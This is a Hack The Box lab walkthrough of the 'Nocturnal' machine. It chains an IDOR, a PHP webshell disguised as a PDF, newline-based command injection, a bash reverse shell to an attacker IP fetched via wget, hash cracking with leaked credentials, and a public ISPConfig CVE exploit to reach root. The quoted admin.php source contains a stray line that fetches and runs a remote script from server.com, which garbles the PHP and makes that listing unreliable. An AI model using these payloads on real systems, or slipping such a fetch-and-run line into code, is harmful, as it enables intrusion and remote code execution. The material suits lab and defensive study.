Nocturnal - HTB Machine

- 14 mins read

Nocturnal is a Hack The Box machine released on 12 Apr 2025

Summary (How?)

Nocturnal is a Hack The Box machine which serves a web application that allows file upload and download. The interesting/weird thing is that it utilizes a username parameter in the URL to retrieve and show files for an specific user. This is vulnerable to Insecure Direct Object Reference (IDOR) and also allowed us to enumerate users. Using ffuf we found user amanda and were able to read her files finding credentials.

Using the discovered credentials, we gained access to an admin panel which had a backup of the source code of the application that we could download. Analyzing this source code we identified a command injection vulnerability. This enabled us to obtain a reverse shell as the www-data user. Further enumeration revealed a SQLite database containing hashed passwords, which we cracked to escalate privileges to the tobias user.

From there, we identified an ISPConfig service running as root, accessible on a locally bound port. By setting up SSH port forwarding, We accessed the service and identified its version. Researching known vulnerabilities for the ISPConfig version led us to CVE-2023-46818, which had an public available exploit that easily popped a root shell.

Enumeration

nmap

# Nmap 7.95 scan initiated Sun Jun 15 17:05:50 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oN nmap-basic nocturnal.htb
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Welcome to Nocturnal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 15 17:06:07 2025 -- 1 IP address (1 host up) scanned in 17.31 seconds

Technologies identified and initial page

image.png

  • PHP
  • Nginx 1.18.0
  • Ubuntu

Upload files page

image.png

Allowed filetypes:

Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.

Let’s try uploading a simple shell with a .pdf extension to see if that’s the only security measure.

┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ cat webshell.pdf
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

We confirm that the validation is only in the file extension (no MIME validation), as the “pdf” appears in our files

image.png

If we click on it we can download it. Here is the request

image.png

It’s interesting that the username is passed as parameter… Maybe we can brute force them.

Brute force users

If the user sent in the parameter is not found then this is displayed

image.png

Let’s brute force users using ffuf

┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ ffuf -w /opt/SecLists/Usernames/xato-net-10-million-usernames.txt -u "http://nocturnal.htb/view.php?username=FUZZ&file=file.pdf" \
    -H "Host: nocturnal.htb" \
    -b "PHPSESSID=g58l7pp91fiue151k1v2o5pj4d" \
  -fs 2985

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=file.pdf
 :: Wordlist         : FUZZ: /opt/SecLists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Host: nocturnal.htb
 :: Header           : Cookie: PHPSESSID=g58l7pp91fiue151k1v2o5pj4d
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2985
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 171ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 170ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 172ms]
andy2977#

With these brute forced we modify the parameter username and found that it is vulnerable to Insecure Direct Object Reference (IDOR) allowing us to access other user’s files.

image.png

Inside the privacy.odt we find a password

image.png

amanda:arHkG7HAI68X8s1J

Directory fuzzing

With directory fuzzing we couldn’t find anything else than it’s visible from the UI.

┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -u "http://nocturnal.htb/FUZZ"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# Copyright 2007 James Fisher [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 173ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 174ms]
#                       [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 174ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 174ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 174ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 175ms]
                        [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 175ms]
# on at least 3 different hosts [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 175ms]
# directory-list-2.3-small.txt [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
#                       [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
#                       [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
#                       [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 176ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 177ms]
uploads                 [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 169ms]
backups                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 164ms]
                        [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 164ms]
uploads2                [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 164ms]
:: Progress: [87664/87664] :: Job [1/1] :: 240 req/sec :: Duration: [0:06:34] :: Errors: 0 ::

LFI parameter

The parameter file looked interesting so we tried to fuzz it for local file inclusion.

┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ ffuf -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://nocturnal.htb/view.php?username=asdf&file=FUZZ.pdf" \
    -H "Host: nocturnal.htb" \
    -b "PHPSESSID=g58l7pp91fiue151k1v2o5pj4d" \
  -fs 3197

Admin panel

It looks like Amanda hasn’t changed her password as was suggested and we can use this password to log in as amanda and get to the Admin Panel

image.png

By clicking each .php file we can revise its code. For example dashboard.php

image.png

We can also “create backups” with certain password

image.png

The output is interesting, it looks as the direct output from a system command. Maybe there’s some command injection in the backup password.

To determine this, we download the source code clicking in “download backup”, which will be password protected with the one we just use.

┌──(kali㉿kali)-[~/htb-machines/nocturnal/backup]
└─$ ls -la
total 52
drwxrwxr-x 3 kali kali 4096 Jun 15 17:52 .
drwxrwxr-x 3 kali kali 4096 Jun 15 17:52 ..
-rw-r--r-- 1 kali kali 7357 Mar  4 11:34 admin.php
-rw-r--r-- 1 kali kali 2666 Apr 14 05:28 dashboard.php
-rw-r--r-- 1 kali kali 1639 Apr  9 06:52 index.php
-rw-r--r-- 1 kali kali 1425 Apr 14 05:27 login.php
-rw-r--r-- 1 kali kali   84 Oct  4  2024 logout.php
-rw-r--r-- 1 kali kali 1404 Apr 14 05:29 register.php
-rw-r--r-- 1 kali kali 3105 Oct 18  2024 style.css
drwxr-xr-x 2 kali kali 4096 Jun 15 17:40 uploads
-rw-r--r-- 1 kali kali 5415 Apr 16 10:18 view.php

OS Command Injection - Getting a shell as www-data

Once we download the source code we find these interesting lines in admin.php

Function that “prevents” command injection

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
sh -c "$(wget -qO- http://server.com/backup.sh)"

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

How it’s used and the command executed

if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';

        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

What is happening here is that if we do a POST request to /admin.php with the parameters backup set and password with the password used to protect the file $backupFile, then the command

zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &"

is executed. Here the code is vulnerable to command injection, as it is protecting injection from only a few characters, but this does not prevent command injection. For example, if we use the URL payload

%0Anc%0910.10.14.177%099001%0A

  • %0A → New line, which in bash will be interpreted as a new command
  • nc TAB (we use tab instead of spaces since they are bloacked) IP PORT
  • %0A

And we get a connection proving the command injection works

┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.177] from (UNKNOWN) [10.10.11.64] 42048

Let’s get a reverse shell. My initial payload was this

nc 10.10.14.100 9001 -e sh -> %0Anc%0910.10.14.100%099001%09S-e%09sh

But we were getting this error. This is likely because the - in the -e flag is not being processed right.

image.png

Here we tried several ways to get the one liner, but we didn’t get it, so the workaround was to host a file with a reverse shell command and use wget to download it and then execute it. There is probably a better wat, but it’s honest work

image.png

┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ echo 'bash -i >& /dev/tcp/10.10.14.177/9001 0>&1' > shell.sh
python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.64 - - [15/Jun/2025 22:32:14] "GET /shell.sh HTTP/1.1" 200 -

And then manually download it

image.png

Thene execute it

image.png

And we’re in!

┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.177] from (UNKNOWN) [10.10.11.64] 39996
bash: cannot set terminal process group (846): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nocturnal:~/nocturnal.htb$

User flag

The shell we obtained is as www-data. We need to find a way to get tobias password, as this is the only user on the system.

www-data@nocturnal:~/nocturnal.htb$ ls -l /home
ls -l /home
total 4
drwxr-x--x 5 tobias tobias 4096 Oct 19  2024 tobias

Maybe amanda’s? As its the default one for “all services”

www-data@nocturnal:~/nocturnal.htb$ su tobias
su tobias
Password: arHkG7HAI68X8s1J
su: Authentication failure

Nope…

We remember that there was a database defined in the code using a relative path

www-data@nocturnal:~$ ls -l
ls -l
total 16
drwxr-xr-x 2 root      root      4096 Mar  4 15:02 html
lrwxrwxrwx 1 root      root        34 Oct 17  2024 ispconfig -> /usr/local/ispconfig/interface/web
drwxr-xr-x 4 www-data  www-data  4096 Jun 16 02:40 nocturnal.htb
drwxr-xr-x 2 www-data  www-data  4096 Jun 16 01:57 nocturnal_database
drwxr-xr-x 4 ispconfig ispconfig 4096 Oct 17  2024 php-fcgi-scripts

Let’s dump it

www-data@nocturnal:~$ python3 -m http.server
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.14.177 - - [16/Jun/2025 02:41:59] "GET / HTTP/1.1" 200 -
10.10.14.177 - - [16/Jun/2025 02:42:00] code 404, message File not found
10.10.14.177 - - [16/Jun/2025 02:42:00] "GET /favicon.ico HTTP/1.1" 404 -

There we have some users!

┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ sqlite3 nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
uploads  users
sqlite> select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|kavi|f38cde1654b39fea2bd4f72f1ae4cdda
7|e0Al5|101ad4543a96a7fd84908fd0d802e7db
8|testuser123|5f4dcc3b5aa765d61d8327deb882cf99
9|1qaz2wsx|1c63129ae9db9c60c3e8aa94d3e00495
10|test123456|47ec2dd791e31e2ef2076caf64ed9b3d

Cracking tobias password

Theeere we go.

$ hashcat -m 0 tobias_hash /usr/share/wordlists/rockyou.txt

55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 55c82b1ccd55ab219b3b109b07d5061d

Finally we gained SSH access and persistence as tobias user.

┌──(kali㉿kali)-[~/htb-machines/nocturnal]
└─$ ssh [email protected]
[email protected] password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)

tobias@nocturnal:~$ cat user.txt
851413ddb54acf65da381adb6da6590c

Root

The next goal is to obtain the root flag. Let’s start with some enumeration.

Enumeration

tobias is not among the sudoers…

tobias@nocturnal:~$ sudo -l
[sudo] password for tobias:
Sorry, user tobias may not run sudo on nocturnal.

After this we checked some things, gcc version (not installed), kernel version, cronjobs, etc..

As we found nothing, we executed linpeas.sh and got the following things.

Databases

╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /etc/mail/access.db: regular file, no read permission
Found /etc/mail/aliases.db: regular file, no read permission
Found /var/lib/command-not-found/commands.db: SQLite 3.x database, last written using SQLite version 3031001
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3031001
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3031001
Found /var/www/nocturnal_database/nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001

Available services

tobias@nocturnal:~$ netstat -atnlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -

Here it’s interesting those services in 8080 and 587. The secont one should be an ESMTP Server according to Google.

ESMTP Server

If we connect to the server using netcat we can grab the service banner and version.

tobias@nocturnal:~$ nc localhost 587
220 nocturnal ESMTP Sendmail 8.15.2/8.15.2/Debian-18; Mon, 16 Jun 2025 03:47:06 GMT; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]

This runs as root…

tobias@nocturnal:~$ ps aux | grep mail
root        1248  0.0  0.1  22924  5072 ?        Ss   01:43   0:00 sendmail: MTA: accepting connections
tobias@nocturnal:/var/www/nocturnal.htb$ ls -l /etc/mail
total 220
-rw------- 1 root  root   4265 Oct 18  2024 access
-rw-r----- 1 smmta smmsp 12288 Oct 18  2024 access.db
-rw-r--r-- 1 root  root    281 Mar  7  2020 address.resolve
lrwxrwxrwx 1 root  smmsp    10 Oct 18  2024 aliases -> ../aliases
-rw-r----- 1 smmta smmsp 12288 Oct 18  2024 aliases.db
-rw-r--r-- 1 root  root   3220 Oct 18  2024 databases
-rw-r--r-- 1 root  root   5659 Mar  7  2020 helpfile
-rw-r--r-- 1 root  smmsp    20 Oct 18  2024 local-host-names
drwxr-sr-x 2 smmta smmsp  4096 Oct 18  2024 m4
-rwxr-xr-- 1 root  smmsp 10019 Oct 18  2024 Makefile
drwxr-xr-x 2 root  root   4096 Oct 18  2024 peers
drwxr-xr-x 2 root  smmsp  4096 Mar  7  2020 sasl
-rw-r--r-- 1 root  smmsp 64167 Oct 18  2024 sendmail.cf
-rw-r--r-- 1 root  root  12235 Oct 18  2024 sendmail.conf
-rw-r--r-- 1 root  smmsp  4058 Oct 18  2024 sendmail.mc
-rw-r--r-- 1 root  root    148 Mar  7  2020 service.switch
-rw-r--r-- 1 root  root    179 Mar  7  2020 service.switch-nodns
drwxr-sr-x 2 smmta smmsp  4096 Oct 18  2024 smrsh
-rw-r--r-- 1 root  smmsp 44607 Oct 18  2024 submit.cf
-rw-r--r-- 1 root  smmsp  2375 Oct 18  2024 submit.mc
drwxr-xr-x 2 smmta smmsp  4096 Oct 18  2024 tls
-rw-r--r-- 1 root  smmsp     0 Oct 18  2024 trusted-user

ISPConfig

We did a port forwarding using ssh in order to access the website on 8080

┌──(kali㉿kali)-[~/htb-machines/nocturnal]└─$ ssh -L 8081:localhost:8080 [email protected]

And from our local VM we get this login page

image.png

Once here tried every possible user password combination

  • admin
  • amanda
  • tobias
  • kavi

Then we found some access logs indicating that the user we were looking for was admin

tobias@nocturnal:/var/www$ cat /var/log/ispconfig/auth.log
Successful login for user 'admin'  from 127.0.0.1 at 2025-04-09 10:19:13 with session ID vo10b400dv579klascjkkf1568
Successful login for user 'admin'  from 127.0.0.1 at 2025-04-09 10:54:48 with session ID k6cfshre0jfnp81hetdrc1c67a
Successful login for user 'admin'  from 127.0.0.1 at 2025-06-20 13:44:37 with session ID mb6m96bi36iovbu3ub1t54ov31
Successful login for user 'admin'  from 127.0.0.1 at 2025-06-20 13:48:56 with session ID kn53qi267eni2lrfeh4btvh3nh
Successful login for user 'admin'  from 127.0.0.1 at 2025-06-20 13:49:37 with session ID r21pdd3uei768f2mcp4vg49lue
Successful login for user 'admin'

And the correct one was the last one we tried of course: admin:slowmotionapocalypse (this is Tobias password)

With these credentials we access the admin panel

image.png

We can see that this service is running as root in its systemd configuration.

tobias@nocturnal:/$ cat /etc/systemd/system/ispconfig.service
[Unit]
Description=PHP Built-in Server for ISPConfig
After=network.target

[Service]
Type=simple
User=root
WorkingDirectory=/var/www/ispconfig
ExecStart=/usr/bin/php -S 127.0.0.1:8080
Restart=always

[Install]
WantedBy=multi-user.target

CVE 2023-46818

Doing some research we find ISPConfig version 3.2.10p1

image.png

This version is vulnerable to CVE 2023-46818

In this PoC it’s explained that

User input passed through the “records” POST parameter to /admin/language_edit.php is not properly sanitized before being used to dynamically generate PHP code that will be executed by the application. This can be exploited by malicious administrator users to inject and execute arbitrary PHP code on the web server

Using this PoC we get root access in the webserver, and the final flag.

┌──(frang4㉿laptop-de-fran)-[~/htb-machines/2025/nocturnal]
└─$ python exploit.py http://localhost:8081/ admin slowmotionapocalypse
[+] Target URL: http://localhost:8081/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

ispconfig-shell# cat /root/root.txt
7b56a77ebc40096555425d4397f5d49a